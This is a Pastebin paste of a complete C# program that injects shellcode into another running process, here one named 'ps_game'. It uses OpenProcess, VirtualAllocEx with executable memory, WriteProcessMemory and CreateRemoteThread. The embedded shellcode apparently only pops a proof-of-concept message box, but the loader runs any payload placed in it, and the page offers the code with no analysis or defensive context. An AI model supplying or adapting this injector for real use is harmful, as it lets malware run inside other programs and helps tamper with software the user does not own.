Advertisement
Guest User

C# Shellcode Injection

a guest
Apr 25th, 2019
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.31 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Runtime.InteropServices;
  4.  
  5.  
  6. namespace ConsoleApp1
  7. {
  8.     public class Program
  9.     {
  10.         [DllImport("kernel32.dll")]
  11.         public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  12.  
  13.         [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
  14.         public static extern IntPtr GetModuleHandle(string lpModuleName);
  15.  
  16.         [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  17.         static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  18.  
  19.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  20.         static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  21.  
  22.         [DllImport("kernel32.dll", SetLastError = true)]
  23.         static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
  24.  
  25.         [DllImport("kernel32.dll")]
  26.         static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  27.      
  28.      
  29.         public static void Main(string[] args)
  30.         {
  31.             string[] processes = { "ps_game" };
  32.             processes[0] = "ps_game";
  33.             Process targetProcess;
  34.             try
  35.             {
  36.                
  37.                 targetProcess = Process.GetProcessesByName(processes[0])[0];
  38.             }
  39.             catch
  40.             {
  41.                 System.Console.WriteLine("Process " + processes[0] + " not found!");
  42.                 return;
  43.             }
  44.  
  45.             // Get process handler
  46.             IntPtr process_handle = OpenProcess(0x1F0FFF, false, targetProcess.Id);
  47.  
  48.             // The generated shellcode
  49.             string shellcodeStr =
  50.             "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
  51.             "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
  52.             "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
  53.             "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
  54.             "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
  55.             "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
  56.             "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
  57.             "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
  58.             "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x04\x29\xd4\x89\xe5\x89" +
  59.             "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
  60.             "\x04\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73" +
  61.             "\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04" +
  62.             "\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x70" +
  63.             "\xff\xff\xff\x68\x6f\x43\x58\x20\x68\x6f\x6e\x20\x50\x68" +
  64.             "\x65\x63\x74\x69\x68\x20\x49\x6e\x6a\x68\x43\x6f\x64\x65" +
  65.             "\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x29\x58\x20\x20\x68" +
  66.             "\x2e\x6f\x72\x67\x68\x74\x75\x6e\x61\x68\x61\x66\x6f\x72" +
  67.             "\x68\x6e\x64\x72\x65\x68\x77\x77\x2e\x61\x68\x3a\x2f\x2f" +
  68.             "\x77\x68\x74\x74\x70\x73\x68\x61\x20\x28\x68\x68\x72\x74" +
  69.             "\x75\x6e\x68\x61\x20\x46\x6f\x68\x6e\x64\x72\x65\x68\x62" +
  70.             "\x79\x20\x41\x68\x70\x65\x64\x20\x68\x76\x65\x6c\x6f\x68" +
  71.             "\x79\x20\x64\x65\x68\x6f\x75\x64\x6c\x68\x2e\x20\x50\x72" +
  72.             "\x68\x20\x50\x6f\x43\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65" +
  73.             "\x63\x68\x64\x65\x20\x69\x68\x23\x20\x63\x6f\x68\x6c\x65" +
  74.             "\x20\x43\x68\x53\x69\x6d\x70\x31\xc9\x88\x4c\x24\x61\x89" +
  75.             "\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\xff\xd0";
  76.  
  77.             // Convert shellcode string to byte array
  78.             Byte[] shellcode = new Byte[shellcodeStr.Length];
  79.             for (int i = 0; i < shellcodeStr.Length; i++)
  80.             {
  81.                 shellcode[i] = (Byte)shellcodeStr[i];
  82.             }
  83.            
  84.                 // Allocate a memory space in target process, big enough to store the shellcode
  85.                 IntPtr memory_allocation_variable = VirtualAllocEx(process_handle, IntPtr.Zero, (uint)(shellcode.Length), 0x00001000, 0x40);
  86.             try
  87.             {
  88.                 // Write the shellcode
  89.                 UIntPtr bytesWritten;
  90.                 WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, (uint)(shellcode.Length), out bytesWritten);
  91.             }
  92.             catch(Exception ex)
  93.             {
  94.                 Console.WriteLine(ex.ToString());
  95.             }
  96.             // Create a thread that will call LoadLibraryA with allocMemAddress as argument
  97.             try
  98.             {
  99.                 if (CreateRemoteThread(process_handle, IntPtr.Zero, 0, memory_allocation_variable, IntPtr.Zero, 0, IntPtr.Zero) != IntPtr.Zero)
  100.                 {
  101.  
  102.                     Console.Write("Injection done!");
  103.                 }
  104.                 else
  105.                 {
  106.                     Console.Write("Injection failed!");
  107.                 }
  108.             }catch (Exception ex)
  109.             {
  110.                 Console.WriteLine(ex.ToString());
  111.             }
  112.             Console.ReadLine();
  113.         }
  114.     }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement